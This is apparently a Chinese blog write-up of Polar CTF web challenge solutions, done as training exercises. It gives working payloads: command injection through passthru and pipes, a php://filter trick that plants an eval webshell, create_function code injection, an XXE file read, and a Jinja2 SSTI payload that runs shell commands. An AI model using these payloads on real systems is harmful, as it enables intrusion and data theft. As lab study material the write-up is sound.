Polar靶场web通关记录

liyou / 2024-07-16 / 原文

新人尝试,还请见谅!!!

web简单

swp

进题先扫dirsearch
image
然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp
image

这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sys nb要在第一位。
但是结果的sys nb要在第一位。
我尝试了用回车绕过,因为.
有一个特质:

. 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 . 。
* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *。

这就说明,如果换行符应该是不会被检测的。但是还是错的。所以就用回溯绕过法:
image
运行得到
image

简单rce

post传参一个yyds=666,这是不会被检测的。然后再用get传参一个sys。这个sys好多被过滤了。system和popen也被过滤了。可以使用exec或者直接用``反引号进行命令执行。
image

然后空格被过滤了拿%09或者别的${IFS}之类的过去。我们先尝试一下payload:

?sys=passthru( ' ls%09/' );
用passthru执行,%09替换空格

image

?sys=passthru('sort%09/flag');
sort查看flag

image
flag{j6856fd063f0a04874311187da1191h6}

蜜雪冰城吉警店

召唤神龙

seek flag

jwt

login

iphone

浮生日记

$$

爆破

XFF

rce1

GET-POST

被黑掉的站

签到题

签到

session文件包含

Don't touch me

robots

php very nice

ezupload

cookie欺骗

upload

干正则

cool

uploader

覆盖

PHP反序列化初试

机器人

扫扫看

debudao

审计

upload1

干正则

进题看源码

image
他是一个需要ping的源码,然后看到了@parse_str()函数。就是读取一个变量并将其转换为数组的形式,我们构造一下payload:
?id=a[0]=www.polarctf.com
这里补充一下
empty()函数是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值;反之返回 true值。所以,当字符串的值为0时,也返回true,就是执行empty内部的语句。这就是陷阱。
preg_match()可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。

发现a[0]的值确实被更改了,那么接下来就简单了,先构造一个cmd=|ls;,发现回显了flag.php,但是不能直接读取,我们尝试用读取ls的命令,payload:
?id=a[0]=www.polarctf.com&cmd=|cat ls;

image
然后在源码中找到了flag。

image

flag{e44882416c9fa79cc5a6a51e6e19cdbc}

web中等

到底给不给flag呢

image

这道题是有关代码审计的,先c=flag然后让flag=c这样被解析之后,就是$c=$flag&$flag=$c,从而达到真正输出flag的作用。而不会用一个变量c把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag
?c=flag&flag=c
查看源代码,因为发现有大量“ <br/ >” 阻拦,拉到最底部,
发现flag{7c21614802acfb30b55697b3f5122be1}

image

写shell

image
根据经验这时应该输入一句话木马,但是事实告诉我们没有这么简单

?filename=php://filter/convert.base64-decode/resource=shell.php

name=php**<?=@eval($_POST[1]);?>**
我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。看一下wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php

content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== 

然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

image

某函数的复仇

image
由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:

?root=;}system('ca\t /f*');/*
shaw=create_function

image

xxe

先用dir扫一扫

image

发现了/dom.php

image

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:

<?xml version = "1.0" encoding="utf-8"?>
点击查看代码
<!DOCTYPE xxe [
<!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

]>
&xxe;

image

base64解码后得到flag。

SSTI

简单的ssti,先随便给个{{6*6}}发现回显36,说明是SSTI中的python-flask模块的Jinjia2模板。(或者是php的一个模板)我们尝试直接用Jinjia2模板的payload:

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /f*").read()')}}
套用就可以
{{a.__init__.__globals__[%27__builtins__%27].eval(%27__import__(%22os%22).popen(%22cat /f*%22).read()%27)}}

image